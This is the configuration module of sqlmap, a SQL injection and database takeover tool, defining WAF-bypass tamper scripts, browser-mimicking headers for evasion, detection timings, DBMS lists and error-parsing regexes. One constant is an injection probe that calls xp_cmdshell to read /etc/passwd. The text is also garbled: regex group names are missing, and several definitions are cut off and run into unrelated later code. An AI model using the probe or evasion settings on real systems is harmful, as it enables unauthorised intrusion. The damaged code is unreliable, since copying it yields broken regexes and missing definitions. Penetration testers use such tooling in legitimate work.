#!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import os import platform import random import re import string import sys import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS from thirdparty import six # sqlmap version (...) VERSION = "1.10.8.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "https://sqlmap.org" DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner BANNER = """\033[01;33m\ ___ __H__ ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| \033[0m\033[4;37m%s\033[0m\n """ % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 # HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean # "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code # false positive) rather than the back-end actually answering. WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) # HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's # httplib has no such constant) TOO_MANY_REQUESTS_HTTP_CODE = 429 # Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable # 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the # ceiling for both the honored backoff and the auto-throttle (seconds) RATE_LIMIT_DEFAULT_DELAY = 1.0 RATE_LIMIT_DELAY_STEP = 0.5 RATE_LIMIT_MAX_DELAY = 60.0 # Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value # (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS # is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection # through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. WAF_BYPASS_TAMPERS = ( "equaltolike", "between", "greatest", "charencode", "randomcase", "space2comment", "versionedkeywords", "space2hash", ) # Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass WAF_BYPASS_MAX_TRIALS = 8 # Browser-like request headers applied alongside the random (non-scanner) User-Agent during # automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a # non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just # the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. WAF_BYPASS_HTTP_HEADERS = ( ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), ("Accept-Language", "en-US,en;q=0.5"), ) # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 # Minimum similarity at which a boolean extraction response is judged to "resemble" the calibrated # TRUE or FALSE model. A response resembling NEITHER (a transient same-HTTP-code junk page: WAF/CDN # interstitial, captcha, maintenance, empty/truncated body) triggers an extra validateChar re-check. BOOLEAN_MODEL_MATCH_RATIO = 0.9 # Number of candidate names probed per request while mining for hidden parameters ('--mine-params') PARAMETER_MINING_BUCKET_SIZE = 25 # For filling in case of dumb push updates DUMMY_JUNK = "Phah5jue" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__URI_QUESTION__" ASTERISK_MARKER = "__ASTERISK__" REPLACEMENT_MARKER = "__REPLACEMENT__" BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" SAFE_HEX_MARKER = "__SAFE_HEX__" DOLLAR_MARKER = "__DOLLAR__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for extraction of table names (useful for (e.g.) MsAccess) SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" # Regular expression used to detect errors in fuzz(y) UNION test FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" # Upper threshold for starting the fuzz(y) UNION test FUZZ_UNION_MAX_COLUMNS = 10 # Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) FUZZ_UNION_MAX_REQUESTS = 80 # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) PRECONNECT_CANDIDATE_TIMEOUT = 10 # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) IDENTYWAF_PARSE_COUNT_LIMIT = 10 # Identify WAF/IPS inside limited size of responses IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 # Ceiling (seconds) for a simulated heavy-tailed latency spike in '--jitter' (testing) mode MAX_JITTER_SPIKE_TIME = 6 # '--jitter=N' fault injection: ~1 in N requests is perturbed to stress the time-/boolean-based blind # oracles' jitter defenses. Each fired event either adds realistic response LATENCY - Gaussian jitter # spanning low->high network noise, or (JITTER_SPIKE_CHANCE of the time) a heavy-tailed spike - and lets # the genuine request proceed, or short-circuits with a transient "junk" HTTP response (gateway 5xx, # rate-limit, a same-HTTP-code interstitial/maintenance page, or an empty body). Values come from the # offline jitter studies (tests/test_jitter_stress.py, tests/test_boolean_jitter.py). JITTER_SIGMAS = (0.3, 0.5, 0.9) # low / medium / high continuous jitter (seconds) JITTER_SPIKE_CHANCE = 0.25 # portion of latency events replaced by a heavy-tailed spike JITTER_JUNK_RESPONSES = ( ("

502 Bad Gateway

", 502), ("

503 Service Unavailable

", 503), ("

504 Gateway Time-out

", 504), ('{"error": "too many requests"}', 429), ("Just a moment...Checking your browser before accessing.", 200), ("We'll be back shortly. Scheduled maintenance in progress.", 200), ("", 200), ) # Regular expression used for extracting results from Google search GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Google Search consent cookie GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r']+))""" STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" # Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike # HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread # body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when # avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it # is a net slowdown, so it is gated by this size NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 # Coarse plausibility band for a NULL connection method's reported length, relative to the known # original page length (len(kb.originalPage)). A method is accepted only if its length falls within # it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning # 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band # is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a # false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" # Regular expression used for recognition of generic "your ip has been blocked" messages BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)" # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' CONCAT_VALUE_DELIMITER = '|' # Coefficient used for a time-based query delay checking (must be >= 7) TIME_STDEV_COEFF = 7 # Robust (median/MAD) cutoff for discarding spike outliers from the time-response model before # computing avg/stdev - a single network spike landing in the baseline would otherwise inflate the # delay threshold and miss genuine delays. Deliberately wide (~10 robust sigmas) so a clean model is # left untouched (identical threshold) and only true outliers are dropped. TIME_OUTLIER_MAD_COEFF = 10 # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 # Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 # Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 # Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 # Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" # Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784) try: import compression.zstd as _zstdModule except ImportError: _zstdModule = None HTTP_ZSTD_AVAILABLE = _zstdModule is not None # Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd' # only when the stdlib provides it - never advertise a content-coding we cannot decode) HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "") # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 # Number of seconds to wait for thread finalization at program end THREAD_FINALIZATION_TIMEOUT = 1 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 # Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier ETA_DISPLAY_SMOOTHING = 0.5 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) JSON_AGG_CHUNK_ROWS = 1000 # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 1024 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 # Maximum time response set used during time-comparison based on standard deviation MAX_TIME_RESPONSES = 200 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) INFERENCE_BLANK_BREAK = 5 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" # Character used for operation "greater or equal" in inference INFERENCE_GREATER_EQUALS_CHAR = ">=" # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" # String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity boundary length used in dynamicity removal engine DYNAMICITY_BOUNDARY_LENGTH = 20 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: DEFAULT_PAGE_ENCODING = "utf8" # Marker for program piped input STDIN_PIPE_DASH = '-' # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" # Timeout used during initial websocket (pull) testing WEBSOCKET_INITIAL_TIMEOUT = 3 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" IS_PYPY = platform.python_implementation() == "PyPy" # Check if running in terminal IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE") # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) + ("ignite", "apache ignite") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") SNOWFLAKE_ALIASES = ("snowflake",) SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES), (DBMS.HANA, HANA_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE, DBMS.SNOWFLAKE, DBMS.HANA)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" MCKOI_DEFAULT_SCHEMA = "APP" CACHE_DEFAULT_SCHEMA = "SQLUser" SPANNER_DEFAULT_SCHEMA = "default" # DBMSes where OFFSET mechanism starts from 1 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", "googleDork", "data", "cookie", "randomAgent", "proxy", "testParameter", "dbms", "level", "risk", "technique", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", "getDbs", "getTables", "getColumns", "getSchema", "dumpTable", "dumpAll", "db", "tbl", "col", "osShell", "osPwn", "batch", "checkTor", "flushSession", "tor", "sqlmapShell", "wizard", ) # Tags used for value replacements inside shell scripts SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" # String representation for NULL value NULL = "NULL" # String representation for blank ('') value BLANK = "" # String representation for current database CURRENT_DB = "CD" # String representation for current user CURRENT_USER = "CU" # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s'\"])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s'\"])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)()?:\s*(?P[^<>]+)", r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)", r"(?P(?:(?:ORA|PLS)-[0-9]{5}:|SQLCODE[ =:]+-?[0-9]+|SQLSTATE[ =:]+[0-9A-Z]{5}|Dynamic SQL Error|DB2 SQL error:|SAP DBTech JDBC:|SQLiteException:|You have an error in your SQL syntax;|Incorrect syntax near |Unclosed quotation mark after the character string|near \"[^\"]+\": syntax error)[^\n<]*)", r'"(?:errmsg|errorMessage|reason|msg)"\s*:\s*"(?P[^"]+)"' # generic JSON error-message field (NoSQL document/REST back-ends) ) # Regular expression used for parsing charset info from meta html headers (Note: the tempered token # '(?:(?!).)*?' keeps the meta strictly INSIDE - as the old trailing '.*' did - # while the bounded meta-attr scan '{0,300}?' keeps it LINEAR; the old greedy form went quadratic and # hung for many minutes on an attacker-controlled body full of ''/'') META_CHARSET_REGEX = r"""(?si)]*>(?:(?!).)*?]{0,300}?charset\s*=\s*["']?(?P[^"'> ]+)""" # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' # Regular expression used for parsing Javascript redirect request JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 32 * 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 4 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Block size used for the 